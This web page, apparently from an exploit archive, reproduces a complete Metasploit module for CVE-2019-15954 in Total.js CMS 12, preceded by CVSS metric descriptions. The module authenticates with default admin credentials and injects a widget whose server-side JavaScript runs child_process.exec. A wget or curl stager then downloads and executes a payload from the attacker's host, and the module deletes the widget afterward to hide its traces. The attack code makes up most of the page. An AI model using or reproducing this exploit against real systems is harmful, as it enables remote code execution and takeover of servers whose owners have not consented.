The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
High
PR
The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Total.js CMS 12 Widget JavaScript Code Injection
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::CmdStager
def initialize(info={})
super(update_info(info,
'Name' => 'Total.js CMS 12 Widget JavaScript Code Injection',
'Description' => %q{
This module exploits a vulnerability in Total.js CMS. The issue is that a user with
admin permission can embed a malicious JavaScript payload in a widget, which is
evaluated server side, and gain remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Riccardo Krauter', # Original discovery
'sinn3r' # Metasploit module
],
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[
[ 'Total.js CMS on Linux', { 'Platform' => 'linux', 'CmdStagerFlavor' => 'wget'} ],
[ 'Total.js CMS on Mac', { 'Platform' => 'osx', 'CmdStagerFlavor' => 'curl' } ]
],
'References' =>
[
['CVE', '2019-15954'],
['URL', 'https://seclists.org/fulldisclosure/2019/Sep/5'],
['URL', 'https://github.com/beerpwn/CVE/blob/master/Totaljs_disclosure_report/report_final.pdf']
],
'DefaultOptions' =>
{
'RPORT' => 8000,
},
'Notes' =>
{
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'Privileged' => false,
'DisclosureDate' => '2019-08-30', # Reported to seclist
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path for Total.js CMS', '/']),
OptString.new('TOTALJSUSERNAME', [true, 'The username for Total.js admin', 'admin']),
OptString.new('TOTALJSPASSWORD', [true, 'The password for Total.js admin', 'admin'])
])
end
class AdminToken
attr_reader :token
def initialize(cookie)
@token = cookie.scan(/__admin=([a-zA-Z\d]+);/).flatten.first
end
def blank?
token.blank?
end
end
class Widget
attr_reader :name
attr_reader :category
attr_reader :source_code
attr_reader :platform
attr_reader :url
def initialize(p, u, stager)
@name = "p_#{Rex::Text.rand_text_alpha(10)}"
@category = 'content'
@platform = p
@url = u
@source_code = %Q|<script total>|
@source_code << %Q|global.process.mainModule.require('child_process')|
@source_code << %Q|.exec("sleep 2;#{stager}");|
@source_code << %Q|</script>|
end
end
def check
code = CheckCode::Safe
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'widgets')
})
unless res
vprint_error('Connection timed out')
return CheckCode::Unknown
end
# If the admin's login page is visited too many times, we will start getting
# a 401 (unauthorized response). In that case, we only have a header to work
# with.
if res.headers['X-Powered-By'].to_s == 'Total.js'
code = CheckCode::Detected
end
# If we are here, then that means we can still see the login page.
# Let's see if we can extract a version.
html = res.get_html_document
element = html.at('title')
return code unless element.respond_to?(:text)
title = element.text.scan(/CMS v([\d\.]+)/).flatten.first
return code unless title
version = Gem::Version.new(title)
if version <= Gem::Version.new('12')
# If we are able to check the version, we could try the default cred and attempt
# to execute malicious code and see how the application responds. However, this
# seems to a bit too aggressive so I'll leave that to the exploit part.
return CheckCode::Appears
end
CheckCode::Safe
end
def auth(user, pass)
json_body = { 'name' => user, 'password' => pass }.to_json
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'api', 'login', 'admin'),
'ctype' => 'application/json',
'data' => json_body
})
unless res
fail_with(Failure::Unknown, 'Connection timed out')
end
json_res = res.get_json_document
cookies = res.get_cookies
# If it's an array it could be an error, so we are specifically looking for a hash.
if json_res.kind_of?(Hash) && json_res['success']
token = AdminToken.new(cookies)
@admin_token = token
return token
end
fail_with(Failure::NoAccess, 'Invalid username or password')
end
def create_widget(admin_token)
platform = target.platform.names.first
host = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket::source_address : datastore['SRVHOST']
port = datastore['SRVPORT']
proto = datastore['SSL'] ? 'https' : 'http'
payload_name = "p_#{Rex::Text.rand_text_alpha(5)}"
url = "#{proto}://#{host}:#{port}#{get_resource}/#{payload_name}"
widget = Widget.new(platform, url, generate_cmdstager(
'Path' => "#{get_resource}/#{payload_name}",
'temp' => '/tmp',
'file' => payload_name
).join(';'))
json_body = {
'name' => widget.name,
'category' => widget.category,
'body' => widget.source_code
}.to_json
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'api', 'widgets'),
'cookie' => "__admin=#{admin_token.token}",
'ctype' => 'application/json',
'data' => json_body
})
unless res
fail_with(Failure::Unknown, 'Connection timed out')
end
res_json = res.get_json_document
if res_json.kind_of?(Hash) && res_json['success']
print_good("Widget created successfully")
else
fail_with(Failure::Unknown, 'No success message in body')
end
widget
end
def get_widget_item(admin_token, widget)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'api', 'widgets'),
'cookie' => "__admin=#{admin_token.token}",
'ctype' => 'application/json'
})
unless res
fail_with(Failure::Unknown, 'Connection timed out')
end
res_json = res.get_json_document
count = res_json['count']
items = res_json['items']
unless count
fail_with(Failure::Unknown, 'No count key found in body')
end
unless items
fail_with(Failure::Unknown, 'No items key found in body')
end
items.each do |item|
widget_name = item['name']
if widget_name.match(/p_/)
return item
end
end
[]
end
def clear_widget
admin_token = get_admin_token
widget = get_widget
print_status('Finding the payload from the widget list...')
item = get_widget_item(admin_token, widget)
json_body = {
'id' => item['id'],
'picture' => item['picture'],
'name' => item['name'],
'icon' => item['icon'],
'category' => item['category'],
'datecreated' => item['datecreated'],
'reference' => item['reference']
}.to_json
res = send_request_cgi({
'method' => 'DELETE',
'uri' => normalize_uri(target_uri.path, 'admin', 'api', 'widgets'),
'cookie' => "__admin=#{admin_token.token}",
'ctype' => 'application/json',
'data' => json_body
})
unless res
fail_with(Failure::Unknown, 'Connection timed out')
end
res_json = res.get_json_document
if res_json.kind_of?(Hash) && res_json['success']
print_good("Widget cleared successfully")
else
fail_with(Failure::Unknown, 'No success message in body')
end
end
def on_request_uri(cli, req)
print_status("#{cli.peerhost} requesting: #{req.uri}")
if req.uri =~ /p_.+/
payload_exe = generate_payload_exe(code: payload.encoded)
print_status("Sending payload to #{cli.peerhost}")
send_response(cli, payload_exe, {'Content-Type' => 'application/octet-stream'})
return
end
send_not_found(cli)
end
def on_new_session(session)
clear_widget
end
# This is kind of for cleaning up the wiget, because we cannot pass it as an
# argument in on_new_session.
def get_widget
@widget
end
# This is also kind of for cleaning up widget, because we cannot pass it as an
# argument directly
def get_admin_token
@admin_token
end
def exploit
user = datastore['TOTALJSUSERNAME']
pass = datastore['TOTALJSPASSWORD']
print_status("Attempting to authenticate with #{user}:#{pass}")
admin_token = auth(user, pass)
fail_with(Failure::Unknown, 'No admin token found') if admin_token.blank?
print_good("Authenticatd as: #{user}:#{pass}")
print_status("Creating a widget...")
@widget = create_widget(admin_token)
super
end
end
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum